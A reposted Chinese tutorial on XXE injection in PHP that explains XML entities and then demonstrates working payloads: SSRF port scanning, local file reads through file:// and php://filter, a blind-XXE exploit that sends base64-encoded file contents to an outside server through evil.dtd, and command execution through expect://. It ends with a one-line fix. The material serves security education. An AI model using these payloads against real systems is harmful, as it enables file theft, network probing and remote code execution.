1. 云栖社区>
  2. PHP教程>
  3. 正文

XML External Entity Injection

作者:用户 来源:互联网 时间:2017-12-01 11:07:45

xmlentityexternalInjection

XML External Entity Injection - 摘要: 本文讲的是XML External Entity Injection, XML External Entity Injection(XML外部实体注入),即XXE。 漏洞产生原因很简单,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等

XML External Entity Injection(XML外部实体注入),即XXE。


漏洞产生原因很简单,由于在xml1.0标准里,DTD可引用外部实体(entity),如果外部实体可被控制,则可能产生文件读取、dos、ssrf等漏洞。


外部实体支持的协议不同,产生的漏洞类型则不同:


file协议可导致文件内容读取


http协议可导致ssrf


phar可利用phar://filter导致文件内容读取


0x01 XML实体

什么是实体?


实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。


实体,个人理解是定义一个xml变量或者宏,并且对其进行赋值。


XML中实体类型,大致有下面几种:



字符实体
内部实体(命名实体)
外部实体
参数实体

除参数实体外,其它实体都以字符 & 开始,实体名,以字符 ; 结束


字符实体

对于字符实体,我们可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值)


比如 % 表示 %


内部实体

内部实体又称为命名实体。内部实体可以说成是变量声明,内部实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。


内部实体xml代码:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY param "hello">
]>
<root>&param;</root>

解析php代码:(下面所有解析xml代码以及漏洞测试均为该段代码,除非特别申明)


<?php
$content = file_get_contents("php://input");
$xml = simplexml_load_string($content);
echo $xml;
?>

解析结果: hello


外部实体

外部实体语法:


<!DOCTYPE filename
[
<!ENTITY entity-name SYSTEM "URI/URL">
]>

外部实体xml代码:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou
[
<!ENTITY xxe SYSTEM "http://www.sectest.com:8082/xxe.txt" >
]>
<root>&xxe;</root>

xxe.txt文件内容:


[[email protected] html]# cat xxe.txt
I'm JoyChou

解析xml后的内容为: I'm JoyChou


参数实体

参数实体用于DTD和文档的内部子集中。与一般实体相比它以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(blind xxe使用的方法)


参数实体xml代码:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou
[
<!ENTITY % remote SYSTEM "http://www.sectest.com:8082/xxe.dtd">
%remote;
]>
<root>&b;</root>

xxe.dtd文件内容:


<!ENTITY b SYSTEM "file:///c:/windows/win.ini">

上面那段代码优化下等于下面这段代码:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou
[
<!ENTITY b SYSTEM "file:///c:/windows/win.ini">
]>
<root>&b;</root>

两段代码都是获取win.ini文件内容。


0x02 漏洞利用
ssrf

以下所有漏洞测试代码均如下:


<?php
$content = file_get_contents("php://input");
$xml = simplexml_load_string($content);
echo $xml;
?>

漏洞产生原因由于:


PHP中simplexml_load_string默认情况下会解析外部实体,并且在PHP中外部实体支持http协议,导致ssrf。


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou
[
<!ENTITY xxe SYSTEM "http://www.sectest.com:80/test">
]>
<root>&xxe;</root>

此时返回如下,很明显是一个HTTP协议,说明80端口open


XML External Entity Injection-

当把端口换成ssh的2222端口时,返回如下,很明显的ssh协议,说明2222端口open


simplexml_load_string(http://www.sectest.com:2222/test): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.3

当换个8083端口时,返回如下:


simplexml_load_string(http://www.sectest.com:8083/test): in

说明80、2222端口open,8083端口close


任意文件读取

漏洞产生原因由于:


在PHP中simplexml_load_string默认情况下会解析外部实体,并且在PHP中外部实体支持file、php://filter协议,导致文件读取。


使用file协议:


XML External Entity Injection-


使用php://filter协议


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou
[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test/xxe.txt">
]>
<root>&xxe;</root>

返回


eHhlIHRlc3Q=

当没有回显的时候如何进行任意文件读取? -- 这就是所谓的blind xxe


exp


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://www.sectest.com:8082/evil.dtd">
%dtd;
%send;
]>
<root></root>

http://www.sectest.com:8082/evil.dtd文件内容如下:


<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://www.sectest.com:8082/?content=%file;'>">
%payload;

原理很简单,利用dtd可进行http请求,将文件内容进行base64加密后,拼接到url,向自己的服务器发起http请求。


查看日志


GET /?content=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQpDTUNETExOQU1FMzI9bWFwaTMyLmRsbA0KQ01DPTENCk1BUElYPTENCk1BUElYVkVSPTEuMC4wLjENCk9MRU1lc3NhZ2luZz0xDQpbTUNJIEV4dGVuc2lvbnMuQkFLXQ0KM2cyPU1QRUdWaWRlbw0KM2dwPU1QRUdWaWRlbw0KM2dwMj1NUEVHVmlkZW8NCjNncHA9TVBFR1ZpZGVvDQphYWM9TVBFR1ZpZGVvDQphZHQ9TVBFR1ZpZGVvDQphZHRzPU1QRUdWaWRlbw0KbTJ0PU1QRUdWaWRlbw0KbTJ0cz1NUEVHVmlkZW8NCm0ydj1NUEVHVmlkZW8NCm00YT1NUEVHVmlkZW8NCm00dj1NUEVHVmlkZW8NCm1vZD1NUEVHVmlkZW8NCm1vdj1NUEVHVmlkZW8NCm1wND1NUEVHVmlkZW8NCm1wNHY9TVBFR1ZpZGVvDQptdHM9TVBFR1ZpZGVvDQp0cz1NUEVHVmlkZW8NCnR0cz1NUEVHVmlkZW8NCltBbGlpbV0NCkltYWdlTWFuQ2xlYXI9MQ0K HTTP/1.0" 403 4961 "-" "-"
远程命令执行

在PHP开启了PECL上的Expect扩展时,就能使用expect://协议来执行命令。


exp


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY content SYSTEM "expect://id">
]>
<root>&content;</root>
0x03 漏洞修复

针对php,可使用 libxml_disable_entity_loader(true);


0x04 总结

当了解xml中dtd实体的语法后,再来学习这个漏洞,其实非常简单。


这个漏洞实际利用情况比较少,每个


网上还有一个扫描脚本, https://github.com/enjoiz/XXEinjector


具体使用方法,可自行查看。


参考链接

http://www.w3schools.com/xml/xml_dtd_entities.asp


https://security.tencent.com/index.php/blog/msg/69


以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索xml , entity , external Injection ,以便于您获取更多的相关知识。